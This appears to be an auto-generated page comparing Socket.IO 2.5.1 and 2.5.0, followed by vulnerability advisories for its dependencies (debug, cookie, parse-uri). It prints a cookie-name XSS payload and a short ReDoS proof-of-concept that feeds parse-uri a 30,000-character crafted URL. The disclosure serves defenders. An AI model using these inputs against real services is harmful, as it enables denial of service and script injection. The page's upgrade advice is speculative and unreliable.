Socket.IO is a popular Node.js library for enabling real-time, bidirectional communication between web clients and servers facilitating features like instant messaging, live data streaming, and collaborative applications. Comparing version 2.5.1 with its predecessor, 2.5.0, reveals subtle but potentially important updates for developers. Both versions share the same core dependencies, including "debug," "engine.io," "has-binary2," "socket.io-client," "socket.io-parser," and "socket.io-adapter," indicating a stable foundation for building real-time applications. Development dependencies for testing and ensuring code quality, such as "nyc," "mocha," "expect.js," "supertest," and "superagent," also remain consistent.
The key differences lie in the distribution details: version 2.5.1 has a slightly smaller unpacked size of 56494 compared to 2.5.0's 57877. The file count also differs slightly, with 2.5.1 having 8 files and 2.5.0 having 9. Critically, the release date of version 2.5.1 is June 19, 2024, while 2.5.0 was released on June 26, 2022. This suggests that version 2.5.1 is a more recent release, likely containing bug fixes, performance improvements, or minor enhancements over version 2.5.0. Developers should strongly consider upgrading to version 2.5.1 to benefit from these potential improvements and ensure compatibility with the latest environments. For a nodejs realtime framework server this upgrade ensures the most reliable and performing version using socket.io.
All the vulnerabilities related to the version 2.5.1 of the package
Regular Expression Denial of Service in debug
Affected versions of debug are vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.
Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.
cookie accepts cookie name, path, and domain with out of bounds characters
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value) would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test", setting userName cookie to <script> and ignoring value.
A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie.
Upgrade to 0.7.0, which updates the validation for name, path, and domain.
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.
parse-uri Regular expression Denial of Service (ReDoS)
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();